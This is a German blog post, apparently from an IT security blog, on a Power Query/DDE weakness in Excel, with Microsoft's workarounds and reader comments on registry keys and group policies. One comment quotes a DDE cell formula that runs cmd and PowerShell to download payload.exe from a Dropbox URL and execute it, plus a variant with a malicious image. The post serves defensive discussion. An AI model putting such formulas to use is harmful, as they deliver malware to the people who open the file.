Excel und die Power Query-Schwachstelle

[English]Sicherheitsforscher haben diese Woche auf eine potentielle Schwachstelle im Microsoft-Excel Add-In Power Query hingewiesen, die einen neuen Angriffsvektor ermöglichen könnte. Office-Sicherheitsmechanismen lassen sich umgehen und der Nutzer muss auch nicht aktiv eingreifen, um den Angriff zu starten. Microsoft will keinen Fix bringen, es gibt aber Workarounds. Hier einige Informationen zu diesem Thema.


Anzeige

Schwachstellen in Microsoft Office gibt es viele. Die meisten Blog-Leser/innen wissen wohl, das Makros ein Einfalltor für Schadsoftware sind – das wird von einigen Malware-Varianten ausgenutzt. Dort muss der Nutzer die Makro-Ausführung freigegeben. Aber auch die OLE- und DDE-Automatisierungsschnittstellen, die Microsoft in Office bereitstellt, ermöglichen einen Missbrauch. Und genau hier liegt die von Sicherheitsforschern skizziere neue Schwachstelle. Blog-Leser 1ST hatte hier und Blog-Leser Ralf hatte in diesem Kommentar bereits darauf hingewiesen. Zudem habe ich eine Mail von Blog-Leser Robert R. bekommen.

Power Query: Worum geht es bei der Schwachstelle?

In Microsoft Excel 2016 und 2019 ist standardmäßig die Funktion Power Query als Add-In enthalten. In Microsoft Excel 2010 und 2013 lässt sich das Power Query-Add-In nachträglich installieren.

Power Query ist ein leistungsstarkes und skalierbares Business Intelligence (BI)-Tool, mit dem Benutzer ihre Tabellenkalkulationen mit anderen Datenquellen integrieren können. So lässt sich beispielsweise eine externe Datenbank, ein Textdokument, eine anderen Kalkulationstabelle oder eine Webseite in ein Arbeitsblatt bzw. eine Kalkulationstabelle von Excel einbinden. Sobald die Quellen verknüpft sind, können die Daten (per DDE-Automatisierungsschnittstelle) geladen und in der Kalkulationstabelle gespeichert oder dynamisch geladen werden (z.B. beim Öffnen des Dokuments).

Sicherheitsforscher von Mimecast wiesen in diesem Dokument vor einigen Tagen darauf hin, dass über die Funktion Power Query eine Schwachstelle in Microsoft Excel aufgerissen wird, die das Einschleusen von Schadcode ermöglicht. Power Query lässt sich nämlich dazu verwenden, um anspruchsvolle, schwer zu erkennende Angriffe zu starten, die mehrere Angriffsvektoren kombinieren. Mit Power Query können Angreifer bösartige Inhalte in eine separate Datenquelle einbetten und beim Öffnen in die Tabellenkalkulation laden (ohne dass der Benutzer irgend etwas anklicken muss). Der bösartige Code könnte verwendet werden, um Malware auszuführen, die den Computer des Benutzers gefährden kann.


Anzeige

Das Team des Mimecast Threat Center hat auf Basis dieser Erkenntnis eine Technik als Proof of Concept (PoC) entwickelt, um Schadsoftware über Power Query einzuschleusen. Das PoC verwendet einen Remote Dynamic Data Exchange (DDE)-Angriff, um eine Excel-Tabelle zu starten und die Schadsoftware dann per Power Query aktiv herunterzuladen und auszuführen.

Die Funktion verfügt, nach Einschätzung der Sicherheitsforscher, über eine so umfangreiche Steuerung, dass mit ihr ein Sandkasten oder die Maschine eines Opfers noch vor der Auslieferung von Nutzlasten mit dem Fingerabdruck erfasst werden kann. Der Angreifer verfügt über potenzielle Pre-Payload- und Pre-Exploitation-Kontrollen und könnte dem Opfer eine bösartige Nutzlast liefern und die Datei gleichzeitig für einen Sandkasten oder andere Sicherheitslösungen harmlos erscheinen lassen.

Was sagt Microsoft dazu?

Im ersten Schritt ist es hilfreich zu wissen, was Microsoft zu der ganzen Geschichte zu sagen hat. Daher hier einige Erläuterungen der Begrifflichkeiten und Hinweise auf Microsofts Sicherheitshinweise.

Was ist Power Query

Ergänzend zu meinen obigen Hinweisen: Microsoft beschreibt die Funktion Power Query in diesem deutschsprachigen Artikel als eine Datenverbindungstechnologie, mit der Nutzer Datenquellen ermitteln, verbinden, kombinieren und optimieren können, um Ihre Analyseanforderungen zu erfüllen.

Power Query
(Quelle: Microsoft)

Features in Power Query stehen in Excel und Power BI Desktop zur Verfügung. Power Query steht als Download für Excel 2013 und 2010 zur Verfügung (ab Office 2016 ist das Add-In in Excel integriert). Die zugrunde liegende Abfragetechnologie, die Power Query ermöglicht, finden Sie auch im Power BI-Desktop, das Teil des umfassenden Power BI -Angebots von Microsoft ist. So weit so gut. Das Ganze scheint wohl das DDE-Protokoll zur Übertragung der Daten in Excel zu nutzen.

Das steckt hinter DDE

In Microsoft Office gibt es verschiedene Methoden zum Übertragen von Daten zwischen Anwendungen. Beim DDE-Protokoll handelt es sich um eine Sammlung von Meldungen und Richtlinien. Es ermöglicht Nachrichten zwischen Anwendungen zu senden, Daten gemeinsam nutzen, und verwendet Shared Memory, um Daten zwischen Anwendungen auszutauschen. Anwendungen können das DDE-Protokoll für den einmaligen Datentransfer und für den kontinuierlichen Austausch nutzen, bei dem Anwendungen sich gegenseitig Aktualisierungen senden, sobald neue Daten zur Verfügung stehen. Dass die DDE-Schnittstelle für allerlei Schadfunktionen benutzt werden kann, ist auch bekannt.

Microsoft deaktiviert 2017 die DDE-Schnittstelle in Word

Im Blog-Beitrag Word DDE-Schwachstelle wird aktiv ausgenutzt hatte ich im Oktober 2017 darauf hingewiesen, dass es wohl Malware-Angriffswellen gibt, die eine DDE-Schwachstelle in Microsoft Word ausnutzen, um Schadsoftware zu verteilen. Auch dieser Foreneintrag dokumentiert diesen Angriffsweg. Es reicht eine kompromittierte Word-Dokumentdatei zu öffnen, um über die DDE-Schnittstelle die Malware herunterzuladen und auszuführen. Die Leute erhielten eine englischsprachige E-Mails mit Rechnungen oder ähnlichem, wobei eine .doc-Datei angehängt war. Wer diese Word-Datei öffnete, löste über den DDE-Mechanismus von Word den Download der betreffenden Malware aus.

Von Microsoft gab es ein Sicherheits-Advisory ADV170021 | Microsoft Office Defense in Depth Update und einen Patch, der die DDE-Schnittstelle, stillegen sollte. Dort sind Registrierungseinträge für Word und Excel beschrieben, um die DDE-Schnittstelle in Excel und Word manuell abzuschalten. Ich hatte im Blog-Beitrag Microsoft Sicherheits-Ratschlag 4053440 zur DDE-Lücke über das Sicherheits-Advisory berichtet.

Im Rahmen des Dezember 2017-Patchday hat Microsoft dann Sicherheitsupdates für Word 2017 (KB4011575) bis Word 2007 freigegeben, die die DDE-Funktionalität deaktivieren sollen (siehe die Word-Updates im Blog-Beitrag Patchday: MS Office Sicherheitsupdates (12. Dezember 2017)).

Allerdings erwiesen sich diese Maßnahmen zum Schließen der DDE-Schwachstelle als schwierig. Ich hatte im Blog-Beitrag Microsofts (Word) DDE-Patch teilweise wirkungslos? die Probleme erwähnt. Inzwischen ist es um das Thema DDE in Word still geworden.

Excel-Sicherheitsmechanismus ausgetrickst

Zurück zum Thema Power Query und Microsoft Excel. Heise schreibt in diesem Artikel, dass Microsoft ab Excel 2016 einen Sicherheitsmechanismus eingebaut hat. Zum Laden von Inhalten per Power Query muss der Nutzer ab Excel 2016 einen Doppelklick auf die Zielzelle der Tabelle ausführen. Dieser Sicherheitsmechanismus soll das automatische Laden der Power Query-Daten verhindern. In früheren Versionen von Power Query war diese Bestätigung nicht notwendig, die Inhalte wurden automatisch geladen. Das war der Hebel, diesen Sicherheitsmechanismus auszuhebeln.

Die Sicherheitsforscher von Mimecast haben einen gerade zu trivialen Weg gefunden, um die neue, ab Excel 2016 vorhandene, Sicherheitsfunktion auszutricksen. Sie haben dazu die Excel-Arbeitsmappe mit der Power Query-Abfrage einfach in einer älteren Excel-Version erzeugt. Dann kommt die 'Abwärtskompatibilitätsgeschichte' zum Tragen: Excel öffnet ab der Version 2016 die in älteren Versionen erstellte Tabelle einer Arbeitsmappe und lädt die enthaltene Power Query-Abfrage automatisch – der Benutzer braucht also nichts zu tun.

Dann ist es den Sicherheitsforscher von Mimecast noch gelungen, die Power Query-Abfrage so zu manipulieren, dass sie im "Advanced Mode" einen spezifischen Anfrage-Header (Referer) hinzufügen konnten. Dieser ermöglicht eine Schadsoftware von einem Server herunterzuladen. Mit weiteren Tricks haben die Forscher im Proof of Concept noch Verzögerungsmethoden eingeführt, um eine Analyse in der Sandbox zu erschweren. Die heruntergeladene Schadfunktion wird erst nach 10 Minuten aktiv. Mit diesem Proof of Concept ist es möglich, die Excel-Sicherheitsfunktionen auszuhebeln und Malware über Power Query-Abfragen auf den Rechnern auszuführen. Die Details sind im Mimecast-Artikel (Englisch) nachzulesen. Wired hat sich hier dem Thema gewidmet, und heise hat einige Details in deutscher Sprache hier aufbereitet.

Mimecast hat vor der Offenlegung Microsoft im Rahmen des Coordinated Vulnerability Disclosure (CVD)-Prozesses kontaktiert. Es ging darum festzustellen, ob es sich um ein beabsichtigtes Verhalten für Power Query oder ob es sich um ein Problem handelte. Microsoft lehnte es zu diesem Zeitpunkt ab, eine Lösung zu veröffentlichen und bot stattdessen einen Workaround in Form des Security Advisory (4053440) von Oktober 2018 an, um das Problem zu entschärfen. Der Sicherheitshinweise geht sehr detailliert auf die betreffenden Workarounds ein, um die DDE-Schnittstelle in diversen Office-Modulen und –Versionen permanent zu deaktivieren.

Mimecast empfiehlt allen Microsoft Excel-Kunden dringend, die von Microsoft vorgeschlagenen Workarounds zu implementieren. Denn die potenzielle Bedrohung für Excel-Nutzer ist real und ein Angriff könnte verheerend sein. Heise berichtet hier, dass bei einem Test mit Virus-Total keiner der Virenscanner eine Excel-Datei mit einer schädlichen Power Query-Abfrage erkannte.

Fragen eines Blog-Lesers

Blog-Leser Robert R. hat mich die Tage per E-Mail kontaktiert und schrieb mir zum Thema:

heute bin ich auf heise und auf SPON auf diese beiden Artikel gestoßen. Bei MS wird empfohlen, dies [DDE-Deaktivierung] per Registry vorzunehmen. Leider habe ich keine passende GPO gefunden, um dies in der Organisation auszurollen.

[HKEY_CURRENT_USER\Software\Microsoft\Office\
<version>\Excel\Security]
WorkbookLinkWarnings(DWORD) = 2

Mir stellt sich nur die Frage, ob ich damit unsere User nicht beim Arbeiten behindere. Haben Sie vielleicht eine Idee zu dem Exploit, oder was man am besten unternehmen sollte?

Da ich nicht als Admin in diesem Bereich arbeite, fehlt mir der Überblick, welche Gruppenrichtlinien es diesbezüglich geben könnte. Hat jemand von euch einen Idee, bzw. wie handhabt ihr das hier skizzierte Problem in euren Unternehmensumgebungen?

Ähnliche Artikel:
Undokumentiertes Word-Features für Angriffe benutzt
Exploit für Microsoft PowerPoint trickst Antivirus aus
Zusy PowerPoint-Malware: Download durch Zeigen auf Link
Sicherheit: Outlook patzt, Malware trotz Office Makrosperre ausführbar
Word DDE-Schwachstelle wird aktiv ausgenutzt
Microsofts (Word) DDE-Patch teilweise wirkungslos?


Anzeige

Dieser Beitrag wurde unter Office, Sicherheit abgelegt und mit , verschlagwortet. Setze ein Lesezeichen auf den Permalink.

8 Antworten zu Excel und die Power Query-Schwachstelle

  1. oli sagt:

    Wir haben die Workarounds schon länger aktiv. Für den "WorkbookLinkWarnings" Registry-Eintrag wüsste ich jetzt keine offizielle GPO (wobei man die sicherlich auch einfach selber basteln könnte). Aber für den genauso wichtigen " DontUpdateLinks"-Registry Eintrag für Word gibt es ne GPO (vorausgesetzt, die offiziellen GPOs für MS Office 2013/2016 sind im Richtlinienspeicher hinterlegt):

    Benutzerkonfiguration/Richtlinien/Administratative Vorlagen/Microsoft Word 2013/Word-Optionen/Erweitert/Automatische Verknüpfungen beim Öffnen aktualisieren -> deaktivieren

    bzw.

    Benutzerkonfiguration/Richtlinien/Administratative Vorlagen/Microsoft Word 2016/Word-Optionen/Erweitert/Automatische Verknüpfungen beim Öffnen aktualisieren -> deaktivieren

  2. 1ST1 sagt:

    [HKEY_CURRENT_USER\Software\Microsoft\Office\
    \Excel\Security]
    WorkbookLinkWarnings(DWORD) = 2

    Da stehts doch eigentich. Mit den Gruppenrichtlinien kann man doch auch beliebige Registry-Keys setzen.

    Olis Variante deaktiviert DDE nur in Word, nicht Excel.

    Schockierend ist wirklich wie einfach das ist. Bei mimecast wird dieses Beispiel genannt, als Zelleninhalt

    =cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe }";cmd /c payload.exe'!A1,

    Oder mal angenommen, jemand hat einen 0-Day für Paint.exe gefunden:

    =cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/boesesbild.jpg?dl=1 -OutFile boesesbild.jpg }";cmd /c paint.exe boesesbild.jpg'!A1,

    Erschreckend dabei ist folgendes. In den Gruppenrichtlinien unter Benutzer-Konfiguration, Administrative Vorlagen, System gibt es einen Eintrag, der heißt irgendwas mit Nicht starten von bestimmten Windows-Programmen, wo man Dateien mit Pfad eintragen kann, die ein Benutzer nicht starten können soll. Dort kann man z.B. mit absolutem Pfad die cmd.exe, powershell.exe usw. eintragen. Funktioniert aus dem Startmenü oder Explorer wunderbar, der Benutzer kann cmd und powershell nicht starten. Schön…

    Benutze ich die =cmd Funktion wie oben in dem Beispiel, startet die Eingabeaufforderung und Powershell trotzdem noch! Hab ich gerade gestern Abend in meiner kleinen Testumgebung kurz getestet.

    Die Woche im Büro müsste ich mich hinsetzen und cmd.exe und powershell.exe in die Applocker-Policy einbauen. Muss aber erst gucken, ob es Benutzer gibt, die die Shell brauchen – die obige Policy mit nichtausführen von Windows Applikationen haben wir und da sind auch Ausnahmen hinterlegt, hoffentlich eine AD-Gruppe… Oder ob es noch irgendwelche Loginscripte in uralten User-Policies gibt, die noch gebraucht werden.

    • oli sagt:

      Die erwähnte GPO bezieht sich doch nur auf Prozesse, die über den Explorer (vlt. noch cmd/powershell) gestartet werden, oder? Im ProcessExplorer sieht man jedenfalls den aufgerufenen Prozess (in dem Fall der Standardbrowser) als Unterprozess von Excel.

      • 1ST1 sagt:

        Ja richtig. Dennoch glaubt der eine oder andere evtl. dass er mit der GPO auf der sicheren Seite sei, weil ja cmd und ps dort gesperrt sind. Pustekuchen…

  3. Anonymous sagt:

    Das aktuelle excel16.admx file (v4879)
    https://www.microsoft.com/en-us/download/details.aspx?id=49030
    enthält folgende neue Optionen:

    L_ExternalContent
    L_DisableDDEServerLookup
    L_DisableDDEServerLaunch
    L_EnableBlockUnsecureQueryFiles
    L_EnableForeignTextFileProtectedView
    L_EnableDataBaseFileProtectedView

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

Hinweis: Bitte beachtet die Regeln zum Kommentieren im Blog (Erstkommentare und Verlinktes landet in der Moderation, gebe ich alle paar Stunden frei, SEO-Posts/SPAM lösche ich rigoros). Kommentare abseits des Themas bitte unter Diskussion.

Du findest den Blog gut, hast aber Werbung geblockt? Du kannst diesen Blog auch durch eine Spende unterstützen.